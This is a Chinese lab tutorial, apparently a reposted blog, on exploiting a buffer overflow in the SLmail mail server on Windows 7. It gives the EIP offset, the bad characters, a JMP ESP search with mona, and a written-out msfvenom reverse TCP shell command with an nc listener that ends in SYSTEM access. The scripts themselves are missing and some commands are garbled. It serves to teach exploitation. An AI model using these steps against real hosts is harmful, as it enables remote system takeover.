Windows下SLmail邮件服务器缓冲区溢出理解及实验

时间:2022-04-29
本文章向大家介绍Windows下SLmail邮件服务器缓冲区溢出理解及实验,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本次缓冲区溢出实验是在Windows7 Unlimit 64位下的SLmail邮件服务溢出测试。

注:SLmail并不是一个特别常用的邮件服务应用,本次实验仅限于理解缓冲区溢出的过程以及方法

目标机: Windows7 Unlimit x64 10.11.12.13

攻击机: Kali Linux 10.11.0.29

涉及工具:

Metasploit Framework Immunity Debugger(装好mona模块)

步骤

先将Immunity Debugger Attach上SLmail的主进程

点这个

让进程解除冰冻状态,转为running状态

这个时候转到Kali,使用Buffer溢出脚本检测溢出所需的字节,脚本源码如下

使用该脚本并加上目标参数

观察,等到Debugger右上角窗口EIP指针为41414141(A的ASCII编码)时代表溢出成功

记下python脚本窗口处此时的字节数,本次试验为2900 bytes

重新启动SLmail服务,并重新Attach进程

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900 //使用MSF的buffer生成工具生成一段字符,来精确定位溢出位置

编写修改针对性的溢出脚本

源码如下

此时执行此脚本,再观察Debugger右上侧窗口,观察EIP指针所指向的字符串

可以看到字符串为 39694438

此时利用pattern_create相对的工具pattern_offset查找这串字节相对的位置

可知是位于 第2606个字节之后的字节就是EIP所指向的!

这时修改脚本

观察可知,这四个B就是EIP所指向的内容,而后16个C为补全2900个字节所设置的

执行脚本

观察到如下结果,可知EIP的确被指向到了2606bytes之后的位置,因为BBBB的ASCII码为42424242

我们再观察ESP的位置在哪里

可以观察到ESP指向的位置在0x0169A128,恰巧也被CCCC给填满了

一般来说一个payload的字节数在315-450之间,所以只要将0169A128开始的内存地址溢出到我们的payload就可以了

所以我们开始使用msf生成payload,但是要知道,这是在一个程序内存栈中进行decode,肯定会有一些字节被这个程序错误理解

所以我们需要寻找一些坏字节 也就是Bad Characters

修改脚本如下

再次运行该脚本并且dump到ESP位置的内存

可以看到,明显有几个字节被错误编译了,到第10个字节应该是10却变成了29

所以我们应该在脚本中去掉/x0a,并再次运行

仔细仔细再仔细地看,你会发现少了0D这个字节,说明/0d这个字节也是坏的,从脚本中去除。同理再次实验,你会发现一切都是正常的,没有坏字节了所以,我们知道对于SLmail来说,坏字节有/x00,/x0a,/x0d。知道了坏字节有哪些,我们就可以生成shellcode啦!但是,我们还得想办法让EIP重定向到我们想要的内存地址!

这时候,我脑子里第一时间想到的是直接把EIP的地址改成ESP的地址。直接让执行流执行ESP所定位到的那一串代码不就行了嘛?但是实际上在溢出过程中ESP所指向的地址并不会保持不变,

因为绝大多数程序都是多进程的,ESP的指向并不是按照顺序的单一的他会指向奇奇怪怪的地方,所以这个方法不可行!

那咋办嘞?我们知道,在一个程序运行的时候,程序本身首先会被写入到内存中,顺带着它需要的各种DLL以及Drive和Modules,所以我们可以寻找含有JMP ESP这个指令的各种模块并利用他们。为了寻找合乎条件的DLL以及模块,我们需要用到第三方模块mona

在Debugger的下方命令行输入

!mona modules

就可以看到所有loaded的modules

这时候就可以寻找符合条件的modules了

符合条件的modules需要符合3个条件

1.本身的base内存地址不包含上面提到的坏字节 2.没有被前四个反缓冲区溢出机制保护

这里只有一个DLL满足条件

按下工具条上的E来查看所有可被执行的dll

找到对应的DLL并双击

到主界面search相应的操作

但奇怪的是无论是search command和sequence commands都没法找到想要找的jmp esp字节

这个是很不科学的小概率事件,讲道理一个有用的DLL肯定会包含一两个这个命令

仔细想过后并且查看了这个DLL的详细信息(工具条按M按钮)

你会发现只有.text区块是被表明了Excutable的,所以可能mona在刚刚的查找中只查找了这个区块

没有查找其他几个区块,这时候我们可以直接让mona去查找内存,但是得知道相应的命令在内存中是怎么表示的

这时候就需要msf的nasm_shell工具了

这个时候我们知道jmp esp这个操作会在内存中被表示为 FFE4

然后我们直接使用mona查找

!mona find -s "xffxe4" -m slmfc.dll

我们发现results里第一个地址不包含坏字节并且是可用的

我们就使用第一个!

跳转到对应的内存地址并核对,果然发现有我们梦寐以求的JMP ESP

现在开始修改溢出脚本!

但但但是,在溢出脚本执行之后,邮件服务肯定会瘫痪,所以为了我们演示需要,需要做一个断点

选中这一行,按F2并点确定 按F8继续执行

终于可以开始写脚本啦

首先使用msf去生成一个shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.209 LPORT=4444 -f c -a x86 --platform windows -b "x00x0ax0d" -e x86/shika

生成成功 (一定要注意长度!)

buffer的A*2606是为了达到EIP点,使程序下一步操作跳转到slmc.dll代码中的一个jmp esp。

这样在esp地址下的我们的shellcode便可得到执行。那16个x90是为了防止shellcode程序的开头一部分被编译器认为是垃圾不去处理,总之就是为了告诉编译器我后面的是程序!

写好脚本,在kali攻击机的4444端口开启监听

nc -lvp 4444

shell get √√√

查看下权限

是最高系统权限,渗透完成